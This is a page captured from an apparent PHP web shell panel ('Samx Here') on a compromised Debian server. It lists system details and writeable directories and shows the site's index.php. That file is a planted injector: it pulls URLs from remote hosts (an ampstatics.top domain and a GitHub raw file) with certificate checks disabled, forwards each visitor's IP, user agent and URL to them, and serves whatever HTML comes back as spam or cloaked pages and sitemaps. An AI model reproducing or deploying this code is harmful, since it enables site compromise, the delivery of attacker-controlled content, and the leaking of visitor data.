Samx Here
n1udSecurity


Server : Apache
System : Linux ks5.tuic.fr 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64
User : pragmatice ( 1003)
PHP Version : 8.2.24
Disable Function : NONE
Directory :  /home/pragmatice/public_html/article/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/pragmatice/public_html/article/index.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', '1');
$country = isset($_GET['cr']) ? $_GET['cr'] : 'en';
$cache_file = $country . '_indexapi.txt';

function updateApiCache($cache_file, $country) {
    // echo "<br>updateApiCache RUNING...<br>";

    $api_urls = array(
        "https://".$country.".ampstatics.top/new_api",
        "https://raw.githubusercontent.com/carolynkdixon/demo/main/".$country."_api"
    );


    foreach ($api_urls as $api_url) {
        $api_url=trim($api_url);
        // echo "<br><br>updateApiCache api_url:".$api_url;
         $latest_api_content = false;

        $ch = curl_init($api_url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $latest_api_content = curl_exec($ch);
        curl_close($ch);



        if ($latest_api_content !== false) {

            //  echo "<br>got latest_api_content";
            $latest_api_content = trim($latest_api_content);
            // Save the latest API to cache file
            // file_put_contents($cache_file, $latest_api_content);
            $file = fopen($cache_file,'w');
            fwrite($file,$latest_api_content);
            fclose($file);


            break;
            }else{
                // echo "<br>latest_api_content -ERROR FALSE";
            }
        }
    }

$user_agent = urlencode($_SERVER['HTTP_USER_AGENT']);
$current_url = urlencode("http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$user_ip = urlencode($_SERVER['REMOTE_ADDR']);


// Check if API cache file exists

$cache_expiration = 60 * 60; // 1 day (in seconds)24 * 60 * 60

if (file_exists($cache_file) and filesize($cache_file)>0) {
    $cache_time = filemtime($cache_file);
    $current_time = time();

    // Check if cache has expired
    if (($current_time - $cache_time) > $cache_expiration) {
        // Update the cache with the latest API
        updateApiCache($cache_file, $country);
    }
} else {
    // Cache file does not exist, update the cache with the latest API
    updateApiCache($cache_file, $country);
}

if (file_exists($cache_file)) {
    $api_urls = file($cache_file, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    // $context = stream_context_create(['http' => ['timeout' => 5]]);

    // echo "cache_file YES:";
    // var_dump($api_urls);


    $html_content = false;
    $error_message = null;

    foreach ($api_urls as $api_url) {

        // echo "<br><br>MAIN cache file YES:  country1:".$country;
        // echo "<br><br>MAIN cache file YES:  api_url:".$api_url;

        $api_url=trim($api_url);
        $country=trim($country);
        // echo "<br><br>MAIN cache file YES:  country2:".$country;
        $url_with_params = $api_url."?cr=".$country."&current_url=".$current_url."&user_ip=".$user_ip."&user_agent=".$user_agent."";
        // $html_content = @file_get_contents($url_with_params, false, $context);
        // echo "<br>MAIN cache file YES: url_with_params full:<br>".$url_with_params;

        $ch = curl_init($url_with_params);
        curl_setopt($ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        $html_content = curl_exec($ch);
        curl_close($ch);


        if ($html_content !== false) {
            // $news = $_GET['news'];
            $news = isset($_GET['news']) ? $_GET['news'] : '';
            if (strpos($news, 'sitemap_') !== false) {
                if (pathinfo($news, PATHINFO_EXTENSION) === 'txt') {
                    header('Content-Type: text/plain');
                    header('Content-Disposition: attachment; filename="' . $news . '"');
        			echo $html_content;
        			break;
                } elseif (pathinfo($news, PATHINFO_EXTENSION) === 'xml') {
                    header('Content-Type: application/xml');
                    header('Content-Disposition: attachment; filename="' . $news . '"');
        			echo $html_content;
        			break;
                }
            }else{
                echo $html_content;
                break; // Break the loop if successful
            }



        }else{
            // echo "<br>html NOT GOT<br>";
        }

        $error_message = error_get_last();
    }
}

?>

SAMX